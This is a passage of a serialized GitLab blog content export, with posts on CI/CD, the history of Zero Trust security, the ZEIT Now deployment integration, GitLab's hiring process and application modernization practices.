pipelines faster.\n\n### Cloud native CI/CD\n\nWith its built-in container registry and Kubernetes integration, GitLab supports cloud native development.\n\n### Simple architecture\n\nOne integrated application with one set of permissions.\n\n### Fast and efficient\n\nWith autoscaling runners, developers no longer have to wait on builds, and VMs spin up or down automatically to process queues at a lower cost.\n\n### Everything in one place\n\nGitLab CI/CD is already built into the same application that contains source code management, planning, monitoring, etc.\n\nAs a single application for the entire DevOps lifecycle, everything is in one conversation and visible across teams. With GitLab's out-of-the-box CI/CD, you can spend less time maintaining and more time creating. It's CI/CD that _just works_.\n\nWe invite you to explore GitLab CI/CD for yourself, and see why we were rated #1 in the Forrester CI Wave™.\n\n[Explore GitLab CI/CD](/solutions/continuous-integration/)\n{: .alert .alert-gitlab-purple.text-center}\n",[110,4103,1444],{"slug":30137,"featured":6,"template":678},"why-gitlab-ci-cd","content:en-us:blog:why-gitlab-ci-cd.yml","Why Gitlab Ci Cd","en-us/blog/why-gitlab-ci-cd.yml","en-us/blog/why-gitlab-ci-cd",{"_path":30143,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30144,"content":30150,"config":30155,"_id":30157,"_type":16,"title":30158,"_source":17,"_file":30159,"_stem":30160,"_extension":20},"/en-us/blog/evolution-of-zero-trust",{"title":30145,"description":30146,"ogTitle":30145,"ogDescription":30146,"noIndex":6,"ogImage":30147,"ogUrl":30148,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30148,"schema":30149},"The evolution of Zero Trust","Zero Trust may be one of the hottest topics in security today, but it's not exactly new. Here's a history.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664096/Blog/Hero%20Images/evolution-of-zero-trust.jpg","https://about.gitlab.com/blog/evolution-of-zero-trust","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The evolution of Zero Trust\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-04-01\",\n      }",{"title":30145,"description":30146,"authors":30151,"heroImage":30147,"date":30152,"body":30153,"category":674,"tags":30154},[5362],"2019-04-01","\nUpdate: This is part 1 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges/).\n{: .alert .alert-info .note}\n\nI was not at the 2019 [RSA Conference](https://about.gitlab.com/events/rsa/) this year, so I asked my friends and colleagues what it was like and if they enjoyed themselves.\nNearly every person mentioned the phrase \"Zero Trust Networking\" during their recounting of events, and the vast majority of them seemed worn down with the phrase by the end of the conference.\nSeveral mentioned it was the \"hot topic\" – the term ‘Zero Trust’ actually made the RSAC Buzzwords Top 3 list.\nI have a few thoughts on the subject, because it is a solid way to move forward in the security realm, but I also wanted to remind people that this is not some new thing that came up this year – this is a concept whose roots stretch back a few decades.\nI also wanted to point out that Zero Trust will not end attacks, as attacks never end.\n\nThis is the first of a series of blog posts from the security team here at GitLab explaining Zero Trust and how we are tackling it.\nBut for these discussions to make sense, we need to show some perspective, so first, a bit of a history lesson.\nThere were three major shifts that brought about Zero Trust, all building upon each other.\nLet’s cover them, one by one.\n\n## First shift: Death of the perimeter\n\nBack in the early days of the internet, if you wanted to attack a target network, you would do a bit of reconnaissance and discover things like hostnames and IP ranges.\nYou would probe, find the available services on these target hosts, then begin trying to compromise them.\nThis was because the individual host systems were fairly wide open.\nSystem administrators needed a way to limit access to the servers and workstations under their control, while allowing legitimate access to users. Remote workers were rare, as the bulk of users were in an office building together.\nSo the [network firewall](https://en.wikipedia.org/wiki/Firewall_(computing)) was born in the early 1990s, restricting access between an organization’s internal network and the internet.\n\nAttackers were accustomed to [port scanning](https://en.wikipedia.org/wiki/Port_scanner) the target, finding the various services, and taking their pick of which service to attack.\nTo adapt to the newly installed firewall, attackers began to focus on the services that were allowed through the firewall. Back then, [organizations still controlled their own servers](https://en.wikipedia.org/wiki/DMZ_(computing)), running things like DNS, email, and web services.\nThese types of common services required holes be punched in the firewall to allow legitimate traffic to them, and so the attackers simply came in with the legitimate traffic.\n\nAt the same time, desktop operating systems and corporate applications began to move toward interacting and sharing information with each other, and as system administrators felt a level of control with the firewall, no one really pushed back very hard against these various operating systems and their noisy applications.\nIn fact, using those same firewall rules, it was possible to allow customers, business partners, and vendors a bit more access to the precious internal network by creating large holes to allow the access.\nThis meant if the attacker could figure out who your trusted partners were, they could compromise them and then come in through the large hole created for those same trusted partners.\n\n>This meant if the attacker could figure out who your trusted partners were, they could compromise them and then come in through the large hole created for those same trusted partners.\n\nIt became common knowledge that once an attacker got a foothold into that internal network, it was usually quite easy to move about within the organization.\nThe attackers adapted. The firewall lost a lot of its value, and to many attackers it became meaningless.\n\nI remember meeting [Bill Cheswick](https://en.wikipedia.org/wiki/William_Cheswick) (one of those early pioneers that helped bring about the firewall) at a security conference, and I was able to corner him and talk shop.\nSomething both of us gravitated towards was this concept of how the infamous \"network perimeter\" was basically an illusion.\nIt _could_ work, but not without changing a serious amount of tech to make it happen.\nHow did each of us secure our respective home systems?\n[Hardening each system individually](https://en.wikipedia.org/wiki/Bastion_host), and just eliminating the concept of the perimeter.\nSure, we both kept a perimeter, but it was maintained with a few router rules, and was more like a white picket fence than a castle wall. To us, the network perimeter was dead.\n\n>Sure, we kept a perimeter, but it was more like a white picket fence than a castle wall. To us, the network perimeter was dead.\n\nThis was a common topic among security practitioners and network administrators at the time, all of us discussing and arguing the fine points the same way Cheswick and I did.\nWe needed some way to deal with the attacker since the perimeter was dead or dying.\nThe concept of Zero Trust networking was born.\nThis started as rumblings during the early 2000s and came into an actual concept of sorts through the [Jericho Forums](https://en.wikipedia.org/wiki/Jericho_Forum) in 2004, and by 2010 or so it even had a name.\nBut I am getting ahead of myself. Other things were happening.\n\n## Second shift: The cloud\n\nGetting [slashdotted](https://en.wikipedia.org/wiki/Slashdot_effect).\n[Distributed denial of service attacks](https://en.wikipedia.org/wiki/Denial-of-service_attack).\nJust not having the bandwidth on your internet-connected web server in your data center to handle the traffic.\nThis internet thing was really taking off, and the World Wide Web was driving it.\n A few companies figured out clever ways to provide server services for organizations all over the globe, and were known as [Content Distribution Networks](https://en.wikipedia.org/wiki/Content_delivery_network) (CDNs), and CDNs gave these organizations a way to upload web content to these servers.\n Even though content might be replicated across the CDN’s dozens of data centers world wide, it was one single entity as far as a typical website visitor was concerned.\n\nNot only could you upload your corporate web server to the CDNs, after a while you could basically pay for virtual servers that you could use for any purpose.\nAs web servers developed and web apps become more ambitious, some companies offered up their services to other companies, some even broke out of the \"web app\" mold and began to offer robust services that replaced desktop applications.\n\n### [The cloud](https://en.wikipedia.org/wiki/Cloud_computing) had arrived.\n\nNot everyone liked the cloud, in fact many organizations were quite resistant to it at first. Others immediately saw the value in it and moved everything to the cloud.\n\nAttackers did what they did best: they adapted. People new to the cloud would often get permissions wrong and expose sensitive data.\nAny bad coding practices they had before the cloud were just uploaded anyway as the cloud didn’t magically fix bugs.\nMoving poorly-coded services in the cloud meant even more holes in firewalls if old legacy data was still stored “on prem”.\nHowever, more often than not it meant these services and the insecure methods used to reach its data was simply moved up to the cloud, sometimes with even more exposure.\nAttackers got to know how these new technologies worked and understood the flaws that existed in the implementations and kept on compromising systems.\n\nWhile the cloud shift created its fair share of upheaval,  it certainly set the stage for the third major shift.\n\n## Third shift: Mobility\n\nWorking remotely? We'd had dial up networking via modem at first, followed by the infamous VPN.\nAs one might imagine, this was an obvious one that certainly bypassed a firewall on a network perimeter. Knowing usernames and passwords had always been a goal of attackers, and if they managed to obtain that information they could certainly plug it into a VPN for access.\n\n### To help protect the username and password, [Two Factor Authentication](https://en.wikipedia.org/wiki/Multi-factor_authentication) (2FA) came about.\n\nThe infamous RSA token was technology I encountered ages ago, and it was certainly all the rage during the first decade of this century.\nMy first encounter was when using a VPN in the late '90s.\nA decade later when I worked for MITRE, I carried no fewer than four RSA tokens (not unheard of at the time for many organizations!) for not just remote access, but for special access to projects funded by different government agencies.\nYou were outside that perimeter and needed in, but as users and their passwords were considered a security risk for any number of reasons (poor password hygiene, easily-fooled help desk personnel responsible for resets, etc.), this direct and open exposure of the internal network via the VPN was too insecure.\nSomething you know (the password) and something you have (that RSA token with its changing six-digit number) made it way more difficult for attackers to get in.\n\nOver 20 years ago, everyone had a desktop machine, but those road warriors that travelled for business would be issued a second system – a laptop.\nThis shifted as it made sense to give all of the employees laptops, and the more expensive desktop systems were only issued by those doing specific jobs that required the extra desktop horsepower.\n\nThe phone also helped push forward the mobility concept, as it expanded from a telephone with internet access to a small internet-connected computer loaded with cloud-based apps that also works as a telephone.\n\n### We became mobile.\n\nEither through SMS messaging, an \"authentication app\" that did TOTP, or a full-fledged 2FA app that supported push technology, the phone became the \"something you have\" and essentially killed the old RSA token.\nAnd of course something else happened with all this mobility, it increased the ability for one to work from anywhere.\nMost of those \"Whatever as a Service\" apps were using web-based protocols to communicate to their Cloud presence, and we'd figured out how to log a person in and do 2FA ages ago.\nThere was no need for a perimeter for the basic end user in an organization.\n\nThis was a slow build to a large upheaval in information security.\nBut what really drove home the big security issues of this brave new world was an event.\nThe culmination of our three major shifts – a teaching moment, as they say.\n\n## The big teaching moment\n\nWhat was the big teaching moment?\n\n### The obvious answer everyone talks about is [Operation Aurora](https://en.wikipedia.org/wiki/Operation_Aurora).\n\nThis was the breach at Google that got them to take a look at this whole Zero Trust thing, build their version of it called [BeyondCorp](https://cloud.google.com/beyondcorp/), and begin to implement it internally.\nIn 2014 Google began to publish information about it.\n\nGoogle had been targeted by [PLA Unit 61398](https://en.wikipedia.org/wiki/PLA_Unit_61398).\nI recognized PLA Unit 61398 from my defense contractor days as “Comment Crew,” as one of their backdoor programs that would make innocent-looking web queries to a Comment-Crew-controlled web server, and obfuscated comments in the HTML returned to the backdoor were actually commands for the backdoor to carry out.\nThey targeted a lot of organizations from large corporations to defense contractors to U.S. government agencies.\n\nThe press at the time had a lot of quotes from security experts pooh-poohing the whole [Advanced Persistent Threat](https://www.fireeye.com/current-threats/apt-groups.html) (APT) thing, claiming that APT attacks weren’t sophisticated as the \"advanced\" part of APT implied.\nHowever, most of these people had either never played offense, or they didn't deal with APT as a part of daily life.\nI distinctly remember the Google attack because during that same timeframe, Comment Crew’s attack was repeated against my employer and others. We were not breached in that case and we probably called it “a typical Tuesday,” but many naysayers in the security community finally had to admit that APT was in fact real.\n\n### But a _huge_ teaching moment was the [RSA hack in 2011](https://www.wired.com/2011/08/how-rsa-got-hacked/).\n\nAgain, maybe not the most sophisticated of attacks to gain entry ([phishing](https://en.wikipedia.org/wiki/Phishing) email), but it was just enough to gain a foothold.\nOnce inside, they pivoted and managed to compromise RSA in what was one of the worst ways possible.\nPeople argue about exactly what level of compromise they achieved, but in the end the attackers could program up their own tokens to allow bypass of RSA SecurID implementations at RSA customer locations.\n\nOne important point to make here – 2FA was an extremely important protection mechanism for organizations like the U.S. Government and all of its many defense contractors.\nAPT actors targeted things like documents pertaining to research, plans involving various defense technologies, and credentials for regaining access if their intrusion was discovered and the APT actors were shut out.\nSince those credentials were protected by 2FA via RSA SecurID tokens, complete panic ensued. _Millions_ of tokens had to be manufactured, provisioned, and deployed to customers who had to configure their systems and deploy them internally.\nDuring this time all organizations still had to function, and APT-sponsored attacks against targets that took advantage of the stolen RSA technology began to appear.\n\nThe basic corporate network at the time was still mainly perimeter-based, even though their perimeter was full of holes, allowing everything from remote users to trusted vendors, partners, and customers.\n\n> The cloud was there, but many companies had their feet in both worlds.\n\nThe cloud was there, but many companies had their feet in both worlds. They would often make architectural choices on technology based upon getting systems to just talk to each other and allow data access _without_ fully considering security issues.\nThe user population was increasingly mobile and, by its very nature, was pushing solutions to the absolute limit.\nAnd now, the one thing that at least protected access to it all – a layered security approach to credentials – was compromised.\n\n## Enter Zero Trust\n\nBeyondCorp was Google’s answer to the threat they faced – a sophisticated adversary that took advantage of their employees and gained privileged access to sensitive assets.\nGoogle published a lot of the material they developed, thinking it would help others deal with the same situation.\nFor those of us in the more threatened world of government agencies and government contractors, we didn’t give Google’s BeyondCorp a second thought.\nWe had defenses, we’d learned how to deal with these type of attackers, we’d even dealt with Comment Crew ourselves and could keep them at bay.\n\nThe RSA breach was a different scenario. An area of trust – 2FA – was completely compromised.\nRSA didn’t run out and build BeyondCorp, but it certainly inspired a large number of people to start looking for answers, and Zero Trust really began to check many of the boxes to add in the protections we needed.\nIn essence, the RSA event gave us a reason to implement Zero Trust.\nWe needed more than 2FA, more than inventory control, more than patch management, we needed to be able to establish a trusted environment and could not with the way things were.\n\n### Essentially, it boils down to this: Zero Trust assumes you do not trust the user nor the user’s device.\n\nThe user has to prove that they are who they say they are and that they meet policy requirements to perform the actions they are wanting to perform.\nThe device has to prove that it is what is says it is, including patch levels.\nEven automated processes such as systems that communicate between each other have to prove themselves as well.\nThe transaction should be valid and the processes are allowed to perform the actions they are performing.\nThis means any information in transition needs to be encrypted using secure algorithms, all transactions are signed and signatures validated, and there is a secure audit trail to ensure all parts of the operation can be examined.\n\n### Are we there yet with Zero Trust?\n\nNo. In fact, the hard part isn’t so much the implementation of it, it is getting it implemented everywhere. Most Zero Trust solutions address a lot of the concerns of the past, but they are not perfect by any means.\nMany organizations will be living in “mixed” environments of old and new for quite a while.\nThe applications that implement the raw components of Zero Trust need to be secure.\nThere will be various policy decisions on how to act on various accesses and requests involving users, devices, services, and data that if not properly defined could result in the wrong employee gaining access to sensitive material.\nAnd of course we will always face a clever adversary trying to bypass, break, and compromise whatever security controls are put in place.\n\nAt least with Zero Trust, we have a leg up. In the forthcoming [series of blog posts](/blog/tags.html#zero-trust), we’ll share GitLab’s story with Zero Trust.\nGitLab is a cloud native, all-remote company with employees from more than 50 countries.\nWe also strive to be as open as we can be about how we work.\n\nWe invite you to follow our journey and contribute your thoughts, questions and experiences around Zero Trust along the way.\n\nPhoto by [Matthew Henry](https://unsplash.com/photos/fPxOowbR6ls?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/security?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,674,6141],{"slug":30156,"featured":6,"template":678},"evolution-of-zero-trust","content:en-us:blog:evolution-of-zero-trust.yml","Evolution Of Zero Trust","en-us/blog/evolution-of-zero-trust.yml","en-us/blog/evolution-of-zero-trust",{"_path":30162,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30163,"content":30169,"config":30175,"_id":30177,"_type":16,"title":30178,"_source":17,"_file":30179,"_stem":30180,"_extension":20},"/en-us/blog/zeit-launches-now-for-gitlab",{"title":30164,"description":30165,"ogTitle":30164,"ogDescription":30165,"noIndex":6,"ogImage":30166,"ogUrl":30167,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30167,"schema":30168},"ZEIT launches Now for GitLab","This first-class integration can automatically deploy any GitLab project containing a static or dynamic website to ZEIT's global CDN.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670498/Blog/Hero%20Images/gitlab-zeit-cover.png","https://about.gitlab.com/blog/zeit-launches-now-for-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ZEIT launches Now for GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarup Banskota\"},{\"@type\":\"Person\",\"name\":\"Arunoda Susiripala\"}],\n        \"datePublished\": \"2019-04-01\",\n      }",{"title":30164,"description":30165,"authors":30170,"heroImage":30166,"date":30152,"body":30173,"category":299,"tags":30174},[30171,30172],"Sarup Banskota","Arunoda Susiripala","\n\n**[ZEIT Now](https://zeit.co/now) is a [serverless](/topics/serverless/) deployment platform that takes the burden out of configuring the cloud**. Projects deploy to Now instantly, scale automatically, and require zero supervision.\n\n### Why we created Now\n\nWe believe that deployments should be fast, simple, reliable, and cost-effective. We want to **enable developers to focus on their core applications**, and not on configuring DNS, scalability, or other infrastructure. That's why we created Now – to allow you to just push code, while we take care of the infrastructure.\n\nGit is popular among us developers – our code is often backed by a Git repository hosted on GitLab or GitHub. For most of us, our workflow involves developing features in distinct branches, which get merged into a stable master branch (or its equivalent). For most teams, the strategy around deployments follows the same style – we first stage our work on feature-specific URLs, and then finally merge them into a production URL.\n\n**We want Now to enhance the developer workflow**. By sticking close to the source code, and integrating with code collaboration tools we love, we are helping enhance the code review and release process.\n\n### Now for GitLab\n\nIn this post, we showcase our most requested feature,  [Now for GitLab](https://zeit.co/gitlab). With this first-class GitLab integration, you can automatically deploy any GitLab project, and enjoy core Now features, including global CDN, Anycast DNS, HTTPS support, and DDOS Protection.\n\n### Benefits\n\nOnce set up, **Now builds and deploys automatically, for every commit you push to GitLab**. Each such deployment gets a unique URL and we keep all your deployments alive. Thanks to our usage-based pricing model, you only pay for actual invocations and don't have to worry about unused deployments.\n\n![GitLab commit](https://about.gitlab.com/images/blogimages/zeit-now/gitlab-commit.png){: .medium.center}\n\n*\u003Csmall>Being able to test a unique deployment for every commit allows you to merge changes to your project with confidence.\u003C/small>*\n\n**All deployments made within a merge request are listed chronologically on its page**. They can be tested at any time, allowing your team to try out changes as progress is made, and to iron out concerns before pushing a new feature to production.\n\n![track deployments on MR](https://about.gitlab.com/images/blogimages/zeit-now/deployments-mr.png){: .medium.center}\n\n*\u003Csmall>You can track all the deployments made towards a specific feature on its merge request page.\u003C/small>*\n\n**Every merge request receives a unique URL** based on its branch name. The URL points to the latest deployment made on the merge request branch. You can share the URL with your team or even publicly, for beta testing your changes.\n\n![staging](https://about.gitlab.com/images/blogimages/zeit-now/gitlab-staging.png){: .medium.center}\n\n*\u003Csmall>The unique URL for the merge request acts as a staging link that can be passed around to anybody in the team who is interested in tracking development updates on a specific feature.\u003C/small>*\n\n**Merged MRs are automatically deployed to production**. Once deployed, we automatically alias your deployment to the production domain name.\n\n![alias](https://about.gitlab.com/images/blogimages/zeit-now/gitlab-alias.png){: .medium.center}\n\n*\u003Csmall>Once a merge request lands on the [default branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html), it is automatically built, deployed, and aliased to the chosen production domain names.\u003C/small>*\n\n## Getting started with Now for GitLab\n\nWe offer a **powerful free tier** which allows you to deploy a small-scale production app without requiring a credit card. To get started, visit the [**ZEIT Sign up page**](https://zeit.co/signup) and click the `Continue with GitLab` button. When GitLab requests an authorization, click `Authorize`.\n\n![sign up for Now for GitLab](https://about.gitlab.com/images/blogimages/zeit-now/sign-up-zeit-gitlab.png){: .center}\n\n*\u003Csmall>By signing up for ZEIT with GitLab, you automatically connect Now with your GitLab account, making it easier to link to your GitLab projects.\u003C/small>*\n\nOnce you complete the authorization, you can [**link any existing GitLab project**](https://zeit.co/new) with your ZEIT account, or create a new one based on our [Quick Start templates](https://zeit.co/new).\n\n![quick start templates](https://about.gitlab.com/images/blogimages/zeit-now/templates.png){: .medium.center}\n\n*\u003Csmall>The Quick Start templates save you time from setting up boilerplate code for several popular projects, such as Next.js, Vue, or Hugo.\u003C/small>*\n\nPlease note that if you already have a ZEIT account, you can set up the connection to GitLab on your [ZEIT account page](https://zeit.co/account).\n\n## Prepare your project for Now\n\nTo be able to successfully process a GitLab project, Now needs to be provided with build and deployment information. This information can be provided via a [`now.json` configuration file](https://zeit.co/docs/v2/deployments/configuration).\n\nFor example, if you are interested in deploying Node.js serverless code, the `now.json` file could be framed as follows:\n\n    {\n      \"name\": \"GitLab Project\",\n      \"alias\": [\"gitlab-project.now.sh\"],\n      \"builds\": [{\n        \"src\": \"index.js\",\n        \"use\": \"@now/node\"\n       }]\n    }\n\n*\u003Csmall>[now.json](https://zeit.co/docs/v2/deployments/configuration) allows us to provide information about building, deploying, and aliasing a GitLab project with Now.\u003C/small>*\n\nMore information on configuring `now.json`, including all supported options, is available on its [docs page](https://zeit.co/docs/v2/deployments/configuration). We support building and deploying many popular technologies through our open-sourced official [Builders](https://zeit.co/docs/v2/deployments/builders/overview), including Python, Rust, PHP, and Go. We welcome your contributions toward new Builders to support your favorite technology. To help with that, we also have a [guide](https://zeit.co/docs/v2/deployments/builders/developer-guide/) in place that walks through the process of creating and publishing a Builder.\n\n### Custom domain names and Instant Rollbacks\n\nWhen a GitLab merge request is merged into the [default branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html), [Now for GitLab](https://zeit.co/gitlab) instantly triggers a new deployment. As soon as that deployment completes, it is **automatically aliased to the production domain names** that were specified through the `alias` property in `now.json`.\n\nWhen you deploy with Now, **we map all your code and configuration to a single, unique URL**. Now only performs a new build when the underlying code receives changes.\n\nIf you trigger a revert within GitLab on the [default branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html), the code and configuration perfectly match a deployment URL Now previously had. This allows us to perform the alias with the previous URL within milliseconds, thus providing an **Instant Rollback**.\n\n### Final words\n\nOur mission at ZEIT is to make the cloud accessible to everyone. The [Now for GitLab](https://zeit.co/gitlab) integration was one of our most requested features, and we are thrilled to make it available to you.\n\nPlease give [Now for GitLab](https://zeit.co/gitlab) a try, and let us know what you think. Our Twitter is [@zeithq](https://twitter.com/zeithq).\n",[110,232],{"slug":30176,"featured":6,"template":678},"zeit-launches-now-for-gitlab","content:en-us:blog:zeit-launches-now-for-gitlab.yml","Zeit Launches Now For Gitlab","en-us/blog/zeit-launches-now-for-gitlab.yml","en-us/blog/zeit-launches-now-for-gitlab",{"_path":30182,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30183,"content":30189,"config":30196,"_id":30198,"_type":16,"title":30199,"_source":17,"_file":30200,"_stem":30201,"_extension":20},"/en-us/blog/what-its-like-to-interview-at-gitlab",{"title":30184,"description":30185,"ogTitle":30184,"ogDescription":30185,"noIndex":6,"ogImage":30186,"ogUrl":30187,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30187,"schema":30188},"A peek inside GitLab's recruitment process: What to expect","A new GitLab team-member shares her experience of being recruited to GitLab, as well as some advice for potential candidates.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680526/Blog/Hero%20Images/interviewing-at-gitlab.jpg","https://about.gitlab.com/blog/what-its-like-to-interview-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What it's like to interview at GitLab: A peek inside the recruitment process\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gosia Ksionek\"}],\n        \"datePublished\": \"2019-03-28\",\n      }",{"title":30190,"description":30185,"authors":30191,"heroImage":30186,"date":30193,"body":30194,"category":6634,"tags":30195},"What it's like to interview at GitLab: A peek inside the recruitment process",[30192],"Gosia Ksionek","2019-03-28","\nWhen [Zsuzsanna](/company/team/#zkovacs) from GitLab approached me on LinkedIn, I was sure I had no shot at getting an engineer's job at this kind of company.\nI decided to give it a try anyway, knowing that I can only gain experience and have nothing to lose.\n\nI have to admit, the whole process made me want to work for Gitlab even more, as each step of the way I could clearly see that company values are not only something written in the handbook, but clear guidelines for every part of the process.\nYou can read all about [GitLab's hiring processes here](/handbook/hiring/interviewing/), but I'll also describe each part of the recruitment process as I experienced it, how it was conducted, and what I can advise future candidates:\n\n### Stage 1: Questionnaire\n\nThe first stage was a questionnaire, with both general questions about education and experience,\nbut also two interesting technical questions with the mysterious instruction: \"Describe in as much detail as you think is appropriate,\"\nwhich allowed me to dive into details but also be concise when I felt I have nothing more to add.\nEven this part was educational and left me with some new knowledge!\n\n**Tip**: Take your time! It's not a race, better to get it right.\nWriting is not my forte, it took me over two weeks to write the answers at my own pace.\n\n### Stage 2: Screening call\n\nThe second stage involved talking to one of the GitLab team-members and let me use tools that are adopted among the GitLab team.\nThis first screening call contained general questions about my experience and why I applied.\n\n**Tip**: Read the handbook – not all of course, it's over 2,000 pages – but the general section about the company\nto understand the values and how you see yourself in this kind of environment.\n\n### Stage 3: Technical interview\n\nI was assigned a merge request and asked for a code review.\nDuring the actual interview, we discussed the code review and ways to improve the code.\nLater came time for, in my opinion, the most stressful part of the process: LIVE CODING – every programmer's nightmare.\nSuddenly I wasn't able to hit any proper key on my keyboard ...\nBut I was allowed to check any doubts in Google if needed and we ended the conversation with some time for me to ask questions\nabout GitLab, the process and remote setup.\n\n**Tip**: Don't stress out about live coding.\nAnd plug your laptop into the power source,\nthis interview may last for over an hour and with the video call, it can drain the battery really quickly!\n\n### Stage 4: Manager interview\n\nThe fourth stage was a great opportunity to know more about the team –\nas in GitLab, you are applying to the specific team.\nTalking to the manager was a great chance to ask all the questions I had about the everyday aspects of the job\nand to know who would be my potential teammates.\n\n**Tip**: Be prepared for a variety of questions, both technical and regarding soft skills.\n\n### Final stage\n\nThe last stage was very similar to the previous one, but with the person higher up in the organization.\nI need to say at this stage stress got the better at me – I really wanted it to go well.\n\n**Tip**: Just relax and prepare the same way as for the previous step.\n\n### References\n\nAfter all those steps I was asked to provide references.\nI chose a colleague I worked with at two different companies and my former manager.\n\n**Tip**: Think carefully who can provide the most valuable feedback about you. Not the most positive, of course, it doesn't hurt,\nbut also honest. Who knows your good sides and what can you improve.\n\nAnd after all those steps and stages, all I could do is wait for the final decision ...\n\nI can't emphasize enough how transparent the whole process was.\nI was informed at every stage what was ahead of me, I could pick which time worked best for me, and I got results quite quickly every time.\nPlus everyone was so nice, not only to me but also to my references, and this was so important to me\nas I was asking for a favour. I think all of this – making a candidate understand the process,\ntreating them with respect, and making it a nice experience overall, is a great example of acting according\nto the GitLab values in every way – even through the recruitment process.\n\nTL;DR: would apply again!\n\nPhoto by [Piotr Wilk](https://unsplash.com/photos/Kc-OBw1fMJg?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/home-office?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[7715,676],{"slug":30197,"featured":6,"template":678},"what-its-like-to-interview-at-gitlab","content:en-us:blog:what-its-like-to-interview-at-gitlab.yml","What Its Like To Interview At Gitlab","en-us/blog/what-its-like-to-interview-at-gitlab.yml","en-us/blog/what-its-like-to-interview-at-gitlab",{"_path":30203,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30204,"content":30209,"config":30214,"_id":30216,"_type":16,"title":30217,"_source":17,"_file":30218,"_stem":30219,"_extension":20},"/en-us/blog/application-modernization-best-practices",{"title":30205,"description":30206,"ogTitle":30205,"ogDescription":30206,"noIndex":6,"ogImage":29685,"ogUrl":30207,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30207,"schema":30208},"7 Best practices for application modernization","Use these best practices to avoid common pitfalls on the application modernization journey.","https://about.gitlab.com/blog/application-modernization-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 Best practices for application modernization\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-03-27\",\n      }",{"title":30205,"description":30206,"authors":30210,"heroImage":29685,"date":30211,"body":30212,"category":734,"tags":30213},[18462],"2019-03-27","\n\nA journey starts with a single step, any motivational poster can you tell you that, but what about all the steps after?\nEven if you know where you're going, are you getting there in the most efficient way possible?\nBefore you start an application modernization quest of your own, it helps to get an idea of the road ahead.\n\nYou don't have to have everything mapped out from the start, and chances are high your plans will change.\nEnterprises can learn a lot from [teams that modernized their legacy systems successfully](/blog/application-modernization-examples/), but there are also valuable lessons from those that failed.\n\n## Why legacy modernization projects fail\n\nEnterprises that dive into the application modernization process are trying to solve big problems, but great intentions rarely guarantee success.\nIn 1999, Carnegie Mellon researchers dove into [10 reasons why legacy re-engineering efforts fail](https://www.cs.cmu.edu/~aldrich/courses/654-sp05/readings/Bergey99.pdf) that are still very relevant today:\n\n1. The organization adopts a flawed strategy from the start.\n2. The organization relies too heavily on outside consultants.\n3. The team is tied down to old technologies and inadequate training.\n4. The organization thinks it has its legacy system under control (it doesn't).\n5. The needs of the organization are oversimplified.\n6. The overall software architecture isn't given enough consideration.\n7. There is no defined application modernization process.\n8. Inadequate planning and follow through.\n9. Lack of long-term commitment to the strategy.\n10. Leaders pre-determine technical decisions.\n\nEvery team faces legacy modernization challenges.\nCommitting to the process is the first step to meeting those challenges head on.\nAs teams go through the modernization journey, use these best practices to avoid common pitfalls and ensure long-term success.\n\n### 1. Create a modernization team\n\nGroups can learn a lot from each other and a variety of voices at the table can point out weaknesses and improve the modernization process.\nWhen choosing a team or developing an innovation group, avoid thinking along legacy lines which divide teams by stages of the software lifecycle.\n[Think about building a cross-functional team of 8–12 people](/blog/beyond-application-modernization-trends/) who can focus on developing the culture, process, and tools needed to continuously deliver software.\n\n### 2. Disagree, commit, and disagree\n\nWith more voices come more opinions.\nIt's a powerful way to innovate and generate great ideas, but it's also the most effective way to be ineffective.\nDecisions sometimes have to be made without a 100 percent buy-in.\nEverything can be questioned but as long as a decision is in place, we should expect people to commit to executing it.\n\"Disagree and commit\" is [one of GitLab's core values](https://handbook.gitlab.com/handbook/values/#disagree-commit-and-disagree) and it's a common business principle that keeps projects moving forward.\n\nWhether decisions are left to one individual or distributed will largely depend on the size of the organization.\nFor all final decision-makers during the application modernization process: listen to other points of view, thank those who contribute ideas and feedback, consider options carefully, and commit to a course of action.\n\n### 3. Map the development workflow\n\nMany organizations have been bogged down by the sheer number of tools, plug-ins, and platforms they use to accommodate everyday tasks.\nSome workflows have more in common with a Rube Goldberg device than a logical order of operation, but mapping out the development workflow is a necessity when undertaking a legacy modernization project.\nThis step is usually when the headaches of toolchain complexity come to light.\n\nLook at every tool being used across teams and identify dependencies.\nMore handoffs present more opportunities for single points failure, and any new applications added to the mix need to be able to play well with others.\nEven if you don't mind teams finding their own solutions so that they can work creatively, it's a good rule of thumb to [identify all privately used tools](https://www.pluralsight.com/blog/career/shadow-it-security-threat) that might be in the mix.\n\n### 4. Set small modernization goals\n\nHaving an entire timeline mapped out months in advance sets you up for 